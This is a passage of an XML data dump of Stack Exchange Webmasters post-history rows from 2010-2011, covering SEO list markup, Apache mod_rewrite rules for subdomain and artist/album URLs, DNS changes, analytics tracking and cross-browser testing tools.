:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On &#xD;&#xA;    RewriteBase /ypp/ &#xD;&#xA;    RewriteRule ^/browse$ /browse.php &#xD;&#xA;    RewriteRule ^/browse/([a-z]+)$ /browse.php?cat=$1 &#xD;&#xA;    RewriteRule ^/browse/([a-z]+)/([a-z]+)$ /browse.php?cat=$1&amp;subcat=$2 &#xD;&#xA;&#xD;&#xA;" />
  <row Id="36917" PostHistoryTypeId="2" PostId="15586" RevisionGUID="b8ec3b3e-731a-4013-8476-177075540503" CreationDate="2011-06-20T06:04:08.243" UserId="5378" Text="From an SEO perspective which, if any, is better:&#xD;&#xA;&#xD;&#xA;Option 1: Nested lists with h2 tags&#xD;&#xA;&#xD;&#xA;    &lt;ul id=&quot;mainpoints&quot;&gt;&#xD;&#xA;        &lt;li&gt;&lt;h2&gt;Powerful Analysis&lt;/h2&gt;&#xD;&#xA;            &lt;ul&gt;&#xD;&#xA;                &lt;li&gt;Charting and indicators&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Daily trading signals&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Company health checks&lt;/li&gt;&#xD;&#xA;            &lt;/ul&gt;&#xD;&#xA;        &lt;/li&gt;&#xD;&#xA;		&lt;li&gt;&lt;h2&gt;World Market Data&lt;/h2&gt;&#xD;&#xA;		    &lt;ul&gt;            &#xD;&#xA;                    [List Items removed for brevity]&#xD;&#xA;		    &lt;/ul&gt;&#xD;&#xA;        &lt;/li&gt;&#xD;&#xA;		&lt;li&gt;&lt;h2&gt;Daily Market Data&lt;/h2&gt;&#xD;&#xA;		    &lt;ul&gt;&#xD;&#xA;                    [List Items removed for brevity]&#xD;&#xA;		    &lt;/ul&gt;&#xD;&#xA;		&lt;/li&gt;&#xD;&#xA;    &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Option 2: Divs with h2 and lists&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;mainpoints&quot;&gt;&#xD;&#xA;        &lt;div&gt;&#xD;&#xA;            &lt;h2&gt;Powerful Analysis&lt;/h2&gt;&#xD;&#xA;            &lt;ul&gt;&#xD;&#xA;                &lt;li&gt;Charting and indicators&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Daily trading signals&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Company health checks&lt;/li&gt;&#xD;&#xA;            &lt;/ul&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div&gt;&#xD;&#xA;    	   &lt;h2&gt;World Market Data&lt;/h2&gt;&#xD;&#xA;    	    &lt;ul&gt;&#xD;&#xA;            [List Items removed for brevity]&#xD;&#xA;    	    &lt;/ul&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div&gt;&#xD;&#xA;    	    &lt;h2&gt;Daily Market Data&lt;/h2&gt;&#xD;&#xA;    	    &lt;ul&gt;&#xD;&#xA;            [List Items removed for brevity]&#xD;&#xA;    	    &lt;/ul&gt;    	&#xD;&#xA;        &lt;/div&gt;   &#xD;&#xA;    &lt;/div&gt; &#xD;&#xA;&#xD;&#xA;Option 3: Definition  List&#xD;&#xA;&#xD;&#xA;    &lt;dl id=&quot;mainpoints&quot;&gt;&#xD;&#xA;        &lt;dt&gt;Powerful Analysis&lt;/dt&gt;&#xD;&#xA;            &lt;dd&gt;- Charting and indicators&lt;/dd&gt;&#xD;&#xA;            &lt;dd&gt;- Daily trading signals&lt;/dd&gt;&#xD;&#xA;            &lt;dd&gt;- Company health checks&lt;/dd&gt;&#xD;&#xA;        &lt;dt&gt;World Market Data&lt;/dt&gt;&#xD;&#xA;            [List Items removed for brevity]&#xD;&#xA;        &lt;dt&gt;Daily Market Data&lt;/dt&gt;&#xD;&#xA;            [List Items removed for brevity]&#xD;&#xA;    &lt;/dl&gt;&#xD;&#xA;&#xD;&#xA;My instincts tell me that semanticaly the pure list options (1 &amp; 3) are the best and that h2 may be more SEO friendly (1 &amp; 2) which would point to option 1 as being the best option. I do love the lean makeup of the definition list but will I take an SEO hit by losing the h2 tags? &#xD;&#xA;&#xD;&#xA;Before anyone asks, h2 is not valid markup in a dt tag.&#xD;&#xA;&#xD;&#xA;Are my instincts right with a nested list being the way to go? " />
  <row Id="36918" PostHistoryTypeId="1" PostId="15586" RevisionGUID="b8ec3b3e-731a-4013-8476-177075540503" CreationDate="2011-06-20T06:04:08.243" UserId="5378" Text="SEO: Nested List vs List, Split Over Divs vs Definition List" />
  <row Id="36919" PostHistoryTypeId="3" PostId="15586" RevisionGUID="b8ec3b3e-731a-4013-8476-177075540503" CreationDate="2011-06-20T06:04:08.243" UserId="5378" Text="&lt;seo&gt;" />
  <row Id="36920" PostHistoryTypeId="25" PostId="15581" RevisionGUID="dc0e4a63-be32-4160-8a1e-183caf3f1398" CreationDate="2011-06-20T06:24:42.703" Comment="http://twitter.com/#!/StackWebmasters/status/82695349042556928" />
  <row Id="36924" PostHistoryTypeId="2" PostId="15588" RevisionGUID="fe11f626-1be9-4b86-b88d-74dc64f88429" CreationDate="2011-06-20T08:56:03.997" UserId="4502" Text="As far as I understand what you're doing(this is something like a sectioned features list, right?), the definition list is just semantically wrong, regardless of any SEO considerations. Which for me is enough reason not to use it.&#xD;&#xA;&#xD;&#xA;Between the other two, as far as SEO I'll just say you're probably overthinking it, and that in the highly doubtful case any conclusive statement can be made that one is better it won't likely be enough difference to justify the overthinking.&#xD;&#xA;&#xD;&#xA;*Semantically* however, they are very different things, and that's what I'd focus on:  &#xD;&#xA;Option 1 is one list, with three sub-sections(sub-lists) that're headed by h2 tags.  &#xD;&#xA;Option 2 is three independent lists that happen to live within the same box(div). &#xD;&#xA;&#xD;&#xA;It's up to you which of those is what you really mean. Use that one." />
  <row Id="36925" PostHistoryTypeId="2" PostId="15589" RevisionGUID="eee4e415-fc89-4fab-b8ef-2445374df758" CreationDate="2011-06-20T09:14:46.890" UserId="1643" Text="The [Social RSS application][1] takes an RSS feed and every time something appears in that feed then it posts to your page. So if you can get an RSS feed from your news then that will do what you want.&#xD;&#xA;&#xD;&#xA;The Social Comments plugin should combine comments on and off your site:&#xD;&#xA;&#xD;&#xA;&gt; Friends and people who like the Page&#xD;&#xA;&gt; can then respond to the discussion by&#xD;&#xA;&gt; liking or replying to the comment&#xD;&#xA;&gt; directly in the News Feed on Facebook&#xD;&#xA;&gt; or in the Comments Box on your site.&#xD;&#xA;&gt; Threads stay synced across Facebook&#xD;&#xA;&gt; and on the Comments Box on your site&#xD;&#xA;&gt; regardless of where the comment was&#xD;&#xA;&gt; made.&#xD;&#xA;&#xD;&#xA;http://developers.facebook.com/docs/reference/plugins/comments/&#xD;&#xA;&#xD;&#xA;  [1]: http://www.facebook.com/apps/application.php?id=23798139265" />
  <row Id="36926" PostHistoryTypeId="25" PostId="15586" RevisionGUID="6027443c-86b0-4392-82a8-93bf8a5d74e4" CreationDate="2011-06-20T09:24:43.263" Comment="http://twitter.com/#!/StackWebmasters/status/82740650486939648" />
  <row Id="36930" PostHistoryTypeId="17" PostId="15591" RevisionGUID="47b1c7ed-8655-4237-ab04-5d4d2fc6bbaf" CreationDate="2011-06-20T09:46:09.523" UserId="-1" Comment="from http://stackoverflow.com/questions/2618003/how-to-force-browsers-isps-to-look-for-my-new-dns" Text="" />
  <row Id="36931" PostHistoryTypeId="17" PostId="15592" RevisionGUID="f0e8bb37-c13b-458c-a510-e50706964949" CreationDate="2011-06-20T09:46:09.523" UserId="-1" Comment="from http://stackoverflow.com/questions/2618003/how-to-force-browsers-isps-to-look-for-my-new-dns" Text="" />
  <row Id="36932" PostHistoryTypeId="2" PostId="15592" RevisionGUID="92d0ba19-da92-4369-a42c-1a7737461828" CreationDate="2010-04-11T18:09:52.690" UserDisplayName="Dominik" Text="Did your ip address change and the domain name is still the same? In this case, the old dns server should return the new ip address for you domain name. If your domain name changed, you could configure your webserver, to redirect all requests from the old domain to the new domain ." />
  <row Id="36933" PostHistoryTypeId="2" PostId="15591" RevisionGUID="5268626a-66bc-4dd9-99fd-6a07a82ad652" CreationDate="2010-04-11T17:42:49.733" UserId="1951" Text="I have changed the DNS for my domain.&#xD;&#xA;what code (or header) should I use in my old server to tell the visitor's browser or ISP that it should check for my new DNS and the current content is old?&#xD;&#xA;&#xD;&#xA;is the temp redirecting to a subdomain should help?&#xD;&#xA;&#xD;&#xA;or you know a better way?" />
  <row Id="36934" PostHistoryTypeId="1" PostId="15591" RevisionGUID="5268626a-66bc-4dd9-99fd-6a07a82ad652" CreationDate="2010-04-11T17:42:49.733" UserId="1951" Text="How to force browsers/ISPs to look for my new DNS?" />
  <row Id="36935" PostHistoryTypeId="3" PostId="15591" RevisionGUID="5268626a-66bc-4dd9-99fd-6a07a82ad652" CreationDate="2010-04-11T17:42:49.733" UserId="1951" Text="&lt;browsers&gt;&lt;dns&gt;&lt;domains&gt;&lt;isp&gt;" />
  <row Id="36936" PostHistoryTypeId="2" PostId="15593" RevisionGUID="c04cece5-c04d-4ff1-bd63-2a3d318e34fe" CreationDate="2011-06-20T09:50:58.430" UserId="7198" Text="Less of an answer and more of a pointer, but you might like to look into [cross-domain tracking.](http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html) &#xD;&#xA;&#xD;&#xA;Using that set up, it appears you could create a single profile in Google Analytics, send all data back to that profile to get the aggregated report of all partners, then modify your single cross-domain profile [as detailed here](http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#profilesKey) to create a filter to sort by individual domains, or set a [custom variable](http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html) to track by partnerID.&#xD;&#xA;&#xD;&#xA;To offer partner report data, it might be worth building a simple report system hosted on your own site using the [Analytics APIs](http://code.google.com/apis/analytics/docs/) instead of providing full access to spoofed subdomain profiles.&#xD;&#xA;&#xD;&#xA;You may also like to consider other analytics software. [Omniture SiteCatalyst](http://www.omniture.com/en/products/online_analytics/sitecatalyst) (from Adobe) looks promising: page 21 of the [documentation](http://issuu.com/carismarie/docs/omniture_flash_documentation) suggests that it can be used to track Flash application installs and events across multiple domains. I'm not sure if it offers sub-accounts/client access, but the reporting features look good, and they also offer a [reports API](https://developer.omniture.com/en_US/documentation).&#xD;&#xA;&#xD;&#xA;[Webtrends](http://www.webtrends.com/Products/Analytics/Web) offers Flash/application tracking too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/lq80j.png" />
  <row Id="36941" PostHistoryTypeId="2" PostId="15595" RevisionGUID="60b2ca6e-28ce-4dd2-aadd-4f82711c25d6" CreationDate="2011-06-20T10:19:26.533" UserId="7198" Text="There's a discussion about DFP page blocking in [this DFP forum post.](http://www.google.com/support/forum/p/dfp/thread?tid=66681e648b5b3626&amp;hl=en) The solution recommended there is to use [iFrame tagging](http://www.google.com/support/dfp_sb/bin/answer.py?hl=en&amp;answer=90777) to load ads independently of page content." />
  <row Id="36942" PostHistoryTypeId="6" PostId="15570" RevisionGUID="0e939c58-357d-4473-b41f-58dc4241b097" CreationDate="2011-06-20T10:22:22.880" UserId="1643" Comment="edited tags" Text="&lt;blog&gt;&lt;iis7&gt;" />
  <row Id="36943" PostHistoryTypeId="17" PostId="15596" RevisionGUID="e41598fd-6cab-4390-8a20-a910758ad07e" CreationDate="2011-06-20T10:22:44.380" UserId="-1" Comment="from http://stackoverflow.com/questions/6406179/url-rewrite-to-subdomains" Text="" />
  <row Id="36944" PostHistoryTypeId="2" PostId="15596" RevisionGUID="6a4c9a09-a292-4ffa-be78-488a082198dc" CreationDate="2011-06-20T01:44:16.207" UserDisplayName="David Knag" Text="say i have a website with `/article.php?id=1&amp;category=Minecraft&amp;Name=Lorem+Ipsum`&#xD;&#xA;&#xD;&#xA;and `/topic.php?category=Minecraft`&#xD;&#xA;&#xD;&#xA;how would i setup url rewrite to make the topic pages being&#xD;&#xA;&#xD;&#xA;    minecraft.domain.com&#xD;&#xA;&#xD;&#xA;and articles being&#xD;&#xA;&#xD;&#xA;    minecraft.domain.com/1/Lorem+Ipsum&#xD;&#xA;&#xD;&#xA;I couldn't find this how to do this anywhere on the web... well, at least on google" />
  <row Id="36945" PostHistoryTypeId="1" PostId="15596" RevisionGUID="6a4c9a09-a292-4ffa-be78-488a082198dc" CreationDate="2011-06-20T01:44:16.207" UserDisplayName="David Knag" Text="URL Rewrite to subdomains?" />
  <row Id="36946" PostHistoryTypeId="3" PostId="15596" RevisionGUID="6a4c9a09-a292-4ffa-be78-488a082198dc" CreationDate="2011-06-20T01:44:16.207" UserDisplayName="David Knag" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;url-rewriting&gt;" />
  <row Id="36950" PostHistoryTypeId="2" PostId="15597" RevisionGUID="37e5d16c-2888-4169-a73e-a70ebaaf9bd0" CreationDate="2011-06-20T11:06:42.310" UserId="480" Text="You can use [Google Docs API][1] to handle this (upload, search and download). The server side code can be pretty minimal thereafter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/documents/" />
  <row Id="36951" PostHistoryTypeId="2" PostId="15598" RevisionGUID="19c3c4e7-922d-4df5-8de0-192885b5ca14" CreationDate="2011-06-20T11:25:16.903" UserId="480" Text="It is caused by Safari's behaviour and can be avoided by using JavaScript to disable context menus:&#xD;&#xA;&#xD;&#xA;    var browser = navigator.userAgent;&#xD;&#xA;    if (browser.toLowerCase().indexOf('safari') &gt; 0)&#xD;&#xA;    {&#xD;&#xA;        var allLinks = document.body.getElementsByTagName('a');&#xD;&#xA;        for (var i=0; i&lt;allLinks.length; i++) {&#xD;&#xA;            allLinks[i].oncontextmenu = function() { return false };&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="36952" PostHistoryTypeId="25" PostId="15596" RevisionGUID="0d093d86-66b5-4305-8e49-5245886b6136" CreationDate="2011-06-20T12:24:44.363" Comment="http://twitter.com/#!/StackWebmasters/status/82785953508360192" />
  <row Id="36956" PostHistoryTypeId="2" PostId="15599" RevisionGUID="022bd60c-5635-44a5-8813-af71cea27339" CreationDate="2011-06-20T13:03:59.510" UserId="8354" Text="1) On your website, make sure that you generate **PROPER** URLs, e.g. `http://minecraft.domain.com/1/lorem-ipsum` instead of `/article.php?id=1&amp;category=Minecraft&amp;Name=Lorem+Ipsum`&#xD;&#xA;&#xD;&#xA;Here, the acceptable characters for the article name is:&#xD;&#xA;    &#xD;&#xA;- any latin characters (can be mixed case, but I would recommend to have all lower case)&#xD;&#xA;- digits&#xD;&#xA;- underscore char `_`&#xD;&#xA;- minus char `-`&#xD;&#xA;&#xD;&#xA;Any other characters should be replaced by `-`. If during URL normalisation you end up with more that 1 `-` character next to each other -- remove such extra chars. The article name should not start or end with `-` or `_`.&#xD;&#xA;&#xD;&#xA;Example of normalisation process (step-by-step):&#xD;&#xA;&#xD;&#xA;- `Oops! I did it again!` -- initial text&#xD;&#xA;- `oops--i-did-it-again-` -- after replacing unwanted characters by `-`&#xD;&#xA;- `oops-i-did-it-again-` -- removing duplicated `-` characters&#xD;&#xA;- `oops-i-did-it-again` -- final sting after removing trailing `-`&#xD;&#xA;&#xD;&#xA;2) Setup your subdomain `minecraft.domain.com` to point into the same root folder as `domain.com`&#xD;&#xA;&#xD;&#xA;3) Add these rules into your .htaccess&#xD;&#xA;&#xD;&#xA;    # Activate Rewrite Engine&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    # Do not do anything for already existing files&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule .+ - [L]&#xD;&#xA;    # rewrite root (topic) hit&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^minecraft\.domain\.com$&#xD;&#xA;    RewriteRule ^$ /topic.php?category=Minecraft [QSA,L]&#xD;&#xA;    # rewrite article hits&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^minecraft\.domain\.com$&#xD;&#xA;    RewriteRule ^(\d+)/([a-z0-9\-_]+)$ /article.php?id=$1&amp;category=Minecraft&amp;Name=$2 [NC,QSA,L]&#xD;&#xA;&#xD;&#xA;These rules will do these rewrites:&#xD;&#xA;&#xD;&#xA;`minecraft.domain.com` =&gt; `/topic.php?category=Minecraft`&#xD;&#xA;&#xD;&#xA;`minecraft.domain.com/1/lorem-ipsum` =&gt; `/article.php?id=1&amp;category=Minecraft&amp;Name=lorem-ipsum`" />
  <row Id="36957" PostHistoryTypeId="5" PostId="15599" RevisionGUID="e806d563-6ec9-4961-8aff-b5a87d3c9905" CreationDate="2011-06-20T13:11:58.020" UserId="8354" Comment="added 3 characters in body" Text="1) On your website, make sure that you generate **PROPER** URLs, e.g. `http://minecraft.domain.com/1/lorem-ipsum` instead of `/article.php?id=1&amp;category=Minecraft&amp;Name=Lorem+Ipsum`&#xD;&#xA;&#xD;&#xA;Here, the acceptable characters for the article name is:&#xD;&#xA;    &#xD;&#xA;- any latin characters (can be mixed case, but I would recommend to have all lower case)&#xD;&#xA;- digits&#xD;&#xA;- underscore char `_`&#xD;&#xA;- minus char `-`&#xD;&#xA;&#xD;&#xA;Any other characters should be replaced by `-`. If during URL normalisation you end up with more that 1 `-` character next to each other -- remove such extra chars. The article name should not start or end with `-` or `_`.&#xD;&#xA;&#xD;&#xA;Example of normalisation process (step-by-step):&#xD;&#xA;&#xD;&#xA;- `Oops! I did it again!` -- initial text&#xD;&#xA;- `oops--i-did-it-again-` -- after replacing unwanted characters by `-`&#xD;&#xA;- `oops-i-did-it-again-` -- removing duplicated `-` characters&#xD;&#xA;- `oops-i-did-it-again` -- final sting after removing trailing `-`&#xD;&#xA;&#xD;&#xA;2) Setup your subdomain `minecraft.domain.com` to point into the same root folder as `domain.com`&#xD;&#xA;&#xD;&#xA;3) Add these rules into your .htaccess&#xD;&#xA;&#xD;&#xA;    # Activate Rewrite Engine&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    # Do not do anything for already existing files&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -f [OR]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -d&#xD;&#xA;    RewriteRule .+ - [L]&#xD;&#xA;    # rewrite root (topic) hit&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^minecraft\.domain\.com$&#xD;&#xA;    RewriteRule ^$ /topic.php?category=Minecraft [QSA,L]&#xD;&#xA;    # rewrite article hits&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^minecraft\.domain\.com$&#xD;&#xA;    RewriteRule ^(\d+)/([a-z0-9\-_]+)$ /article.php?id=$1&amp;category=Minecraft&amp;Name=$2 [NC,QSA,L]&#xD;&#xA;&#xD;&#xA;These rules will do these rewrites:&#xD;&#xA;&#xD;&#xA;`minecraft.domain.com` =&gt; `/topic.php?category=Minecraft`&#xD;&#xA;&#xD;&#xA;`minecraft.domain.com/1/lorem-ipsum` =&gt; `/article.php?id=1&amp;category=Minecraft&amp;Name=lorem-ipsum`" />
  <row Id="36958" PostHistoryTypeId="5" PostId="15561" RevisionGUID="067442bc-5b9c-4fc4-8125-ccecf223fff8" CreationDate="2011-06-20T13:14:47.363" UserId="8354" Comment="fixed a mistake in &quot;Do not do anything for already existing files&quot; rule" Text="You cannot do this in .htaccess unless you pre-define (hard code) all names in advance (well, you can use RewruteMap but that is close to hard-coding). The reason is -- how can you identify what is song_name and what is album_name if they both have the same syntax? Also .. sometimes you have situations when album name is a song name at the same time (album named after the song) -- how can you identify which one is which?&#xD;&#xA;&#xD;&#xA;**You have few options here:**&#xD;&#xA;&#xD;&#xA;1) **Redirect everything to your `controller.php`** and implement routing logic inside (using PHP only). There you can query database and see what the actual parameter is -- album or song.&#xD;&#xA;&#xD;&#xA;2) **Implement 3-tier URL structure** (this will allow RewriteRules to properly identify what is what):&#xD;&#xA;&#xD;&#xA;`/singer-name` for singers&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name` for albums&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name/song-name` for songs&#xD;&#xA;&#xD;&#xA;3) **Add some additional info/code into URL** so mod_rewrite can see the difference between album-name &amp; song_name. For example:&#xD;&#xA;&#xD;&#xA;`/singer-name` for singers&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name_a` for albums (`_a` will tell that this is the album)&#xD;&#xA;&#xD;&#xA;`/singer-name/song-name_s` for songs (`_s` will tell that this is the song)&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;`/singer-name/s_song-name` for songs&#xD;&#xA;&#xD;&#xA;or add no such code for songs, as albums URLs will have such code already.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I personally prefer #2 -- it has more logical hierarchy.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**UPDATE:** These are the rules for scenario #2. You can use these characters: any latin letter (upper and lower case), digits, underscore `_` and minus `-`. This will cover the following URLs:&#xD;&#xA;&#xD;&#xA;`/britney-spears` -- singer url&#xD;&#xA;&#xD;&#xA;`/britney-spears/Femme-Fatale` -- album url&#xD;&#xA;&#xD;&#xA;`/britney-spears/Femme-Fatale/Till-the-World-Ends` -- song url&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    # Do not do anything for already existing files&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -f [OR]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -d&#xD;&#xA;    RewriteRule .+ - [L]&#xD;&#xA;    # work with artist URLs&#xD;&#xA;    RewriteRule ^([a-z0-9\-_]+)$ /core/controller.php?singer=$1 [NS,QSA,L]&#xD;&#xA;    # work with album URLs&#xD;&#xA;    RewriteRule ^([a-z0-9\-_]+)/([a-z0-9\-_]+)$ /core/controller.php?singer=$1&amp;album=$2 [NS,QSA,L]&#xD;&#xA;    # work with songs URLs&#xD;&#xA;    RewriteRule ^([a-z0-9\-_]+)/([a-z0-9\-_]+)/([a-z0-9\-_]+)$ /core/controller.php?singer=$1&amp;album=$2&amp;song=$3 [NS,QSA,L]&#xD;&#xA;&#xD;&#xA;It's up to you if you going to use all lower case letters or mixed-case. I would recommend all lower case for consistency." />
  <row Id="36959" PostHistoryTypeId="5" PostId="15578" RevisionGUID="21bf844e-d0d0-4597-b922-bc82a8dc1155" CreationDate="2011-06-20T13:16:24.630" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [I need a little help with .htaccess rewrite](http://webmasters.stackexchange.com/questions/15560/i-need-a-little-help-with-htaccess-rewrite)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello,&#xD;&#xA;I need a little help with `.htaccess` file. I have songs, singers and albums links I want to rewrite.&#xD;&#xA;&#xD;&#xA;I already rewrote the links and they are like this:&#xD;&#xA;&#xD;&#xA;* for the songs is like this: `/song/song_name`&#xD;&#xA;* for singers: `/singer_name`&#xD;&#xA;* for albums: `/album_name`&#xD;&#xA;&#xD;&#xA;This is the code in my `.htaccess` file:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^singer/([^/\.]+)/?$ /core/controller.php?singer=$1 [L]&#xD;&#xA;    RewriteRule ^song/([^/\.]+)/?$ /core/controller.php?song=$1 [L]&#xD;&#xA;    RewriteRule ^album/([^/\.]+)/?$ /core/controller.php?album=$1 [L]&#xD;&#xA;&#xD;&#xA;I need the links for the songs, singers and albums to be like this:&#xD;&#xA;&#xD;&#xA;* for songs `/singer_name/song_name`&#xD;&#xA;* for singers `/singer_name`&#xD;&#xA;* for albums `/singer_name/album_name`&#xD;&#xA;&#xD;&#xA;Can anyone help me with this please." />
  <row Id="36960" PostHistoryTypeId="10" PostId="15578" RevisionGUID="e40eb64d-2c8c-4390-bc49-3f17456b4d8a" CreationDate="2011-06-20T13:16:23.430" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36964" PostHistoryTypeId="2" PostId="15601" RevisionGUID="bd476db3-1c44-429b-8a1b-1fb616d4bc1b" CreationDate="2011-06-20T13:52:55.817" UserId="7801" Text="Browser testing, the bane of any web designers life!&#xD;&#xA;&#xD;&#xA;Are there any tools and/or ways in which I can efficiently test different browsers on both Mac and PC?&#xD;&#xA;&#xD;&#xA;I not only want to test different browsers but also different versions of each browser.&#xD;&#xA;&#xD;&#xA;My current setup is on a Mac running VirtualBox with Windows Vista installed. This allows me to test both Mac and PC but the complications arise when trying to test different versions of browsers.&#xD;&#xA;&#xD;&#xA;Any one have any ideas?" />
  <row Id="36965" PostHistoryTypeId="1" PostId="15601" RevisionGUID="bd476db3-1c44-429b-8a1b-1fb616d4bc1b" CreationDate="2011-06-20T13:52:55.817" UserId="7801" Text="Browser testing - Ideas on how to tackle it efficiently" />
  <row Id="36966" PostHistoryTypeId="3" PostId="15601" RevisionGUID="bd476db3-1c44-429b-8a1b-1fb616d4bc1b" CreationDate="2011-06-20T13:52:55.817" UserId="7801" Text="&lt;browsers&gt;&lt;cross-browser&gt;" />
  <row Id="36967" PostHistoryTypeId="2" PostId="15602" RevisionGUID="771ae906-5bdd-4714-81b0-6a108aa82496" CreationDate="2011-06-20T13:57:41.617" UserId="1253" Text="You can use a website like [browsershots][1], http://www.browsera.com/, http://crossbrowsertesting.com/, http://www.multibrowserviewer.com, and http://www.browserseal.com/.&#xD;&#xA;&#xD;&#xA; - Multi Browser vmWare Appliance: http://www.vmware.com/appliances/directory/335/ to check different browsers for you on different operating systems.&#xD;&#xA;&#xD;&#xA;You shouldn't need to be checking that many browsers, however. With the exception of Internet Explorer which seems to make radical changes with every release, most of the modern browser only make incremental changes that rarely break their consistency in rendering pages. This means if you test in the latest Firefox, Chrome, or Safari it almost certainly will work in an older version. Additionally, most of the users of these browsers update their browser to a newer version quite rapidly compared to IE users who tend to hang on to older versions for far too long.&#xD;&#xA;&#xD;&#xA;To keep your testing simple I would do the following:&#xD;&#xA;&#xD;&#xA;In Windows test Chrome, Firefox, IE7-9. You can test the older versions of IE using either a tool like [IETester][2] or use the Developer Tools in IE to simulate older browsers.&#xD;&#xA;&#xD;&#xA;In a Mac test Safari, Firefox, and Chrome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browsershots.org/&#xD;&#xA;  [2]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="36968" PostHistoryTypeId="2" PostId="15603" RevisionGUID="864cf7e2-d043-4b7f-9c0f-e3656133766d" CreationDate="2011-06-20T14:02:42.480" UserId="1643" Text="Another newish online services is [BrowserLab][1] from Adobe. To run different versions of IE locally you can run different virtual machines from Microsoft as described on superuser: http://superuser.com/questions/74918/how-do-i-install-multiple-versions-of-internet-explorer-on-windows-7&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://browserlab.adobe.com/en-us/index.html" />
  <row Id="36969" PostHistoryTypeId="5" PostId="15602" RevisionGUID="634f7ea5-0f8c-4d11-851f-cd083cfd3faa" CreationDate="2011-06-20T14:02:51.673" UserId="1253" Comment="added 20 characters in body; deleted 2 characters in body; deleted 4 characters in body" Text="You can use a website like [browsershots][1], [Browsera](http://www.browsera.com/), [Cross Browser Testing](http://crossbrowsertesting.com/), [Multi-Browser Viewer](http://www.multibrowserviewer.com), [BrowserSeal](http://www.browserseal.com/), and [Multi Browser vmWare Appliance][2]&#xD;&#xA;&#xD;&#xA;You shouldn't need to be checking that many browsers, however. With the exception of Internet Explorer which seems to make radical changes with every release, most of the modern browser only make incremental changes that rarely break their consistency in rendering pages. This means if you test in the latest Firefox, Chrome, or Safari it almost certainly will work in an older version. Additionally, most of the users of these browsers update their browser to a newer version quite rapidly compared to IE users who tend to hang on to older versions for far too long.&#xD;&#xA;&#xD;&#xA;To keep your testing simple I would do the following:&#xD;&#xA;&#xD;&#xA;In Windows test Chrome, Firefox, IE7-9. You can test the older versions of IE using either a tool like [IETester][3] or use the Developer Tools in IE to simulate older browsers.&#xD;&#xA;&#xD;&#xA;In a Mac test Safari, Firefox, and Chrome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browsershots.org/&#xD;&#xA;  [2]: http://www.vmware.com/appliances/directory/335/&#xD;&#xA;  [3]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="36973" PostHistoryTypeId="2" PostId="15604" RevisionGUID="a7a6b4a6-4fce-433c-ab12-93495f0af89f" CreationDate="2011-06-20T14:15:32.317" UserId="1643" Text="You're probably better off looking for a content management system that supports this as a feature, rather than something that has this as its Unique Selling Point. So for example, Blogger and Wordpress do, although they are mainly for blogs.&#xD;&#xA;&#xD;&#xA;A quick search shows that Joomla does: http://community.joomla.org/blogs/community/959-drag-n-drop-is-here.html.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36974" PostHistoryTypeId="17" PostId="15605" RevisionGUID="e90d8582-d3c5-4e80-a070-117171fab4ae" CreationDate="2011-06-20T14:17:07.107" UserId="-1" Comment="from http://superuser.com/questions/299568/is-it-really-a-security-problem-to-have-non-secure-assets-on-an-ssl-page" Text="" />
  <row Id="36975" PostHistoryTypeId="17" PostId="15606" RevisionGUID="274bfc6b-df50-4004-b79f-cf1b668fa851" CreationDate="2011-06-20T14:17:07.107" UserId="-1" Comment="from http://superuser.com/questions/299568/is-it-really-a-security-problem-to-have-non-secure-assets-on-an-ssl-page" Text="" />
